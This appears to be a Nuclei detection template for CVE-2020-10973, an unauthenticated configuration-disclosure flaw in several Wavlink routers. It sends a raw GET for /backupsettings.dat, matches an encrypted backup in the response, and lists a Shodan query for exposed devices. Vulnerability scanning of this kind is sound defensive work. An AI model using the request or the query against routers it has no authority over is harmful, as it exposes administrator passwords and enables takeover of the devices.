id: CVE-2020-10973

info:
  name: Wavlink WN530HG4 - Access Control
  author: arafatansari
  severity: high
  description: |
    An issue was discovered in Wavlink WN530HG4, Wavlink WN531G3, Wavlink WN533A8, and Wavlink WN551K1 affecting /cgi-bin/ExportAllSettings.sh where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform a decryption step, but all decryption information is readily available.
  reference:
    - https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10973
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10973
    - https://github.com/sudo-jtcsec/Nyra
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-10973
    cwe-id: CWE-306
  metadata:
    shodan-query: http.html:"Wavlink"
    verified: "true"
  tags: cve,cve2020,exposure,wavlink

requests:
  - raw:
      - |
        GET /backupsettings.dat HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Salted__'

      - type: word
        part: header
        words:
          - application/octet-stream

      - type: status
        status:
          - 200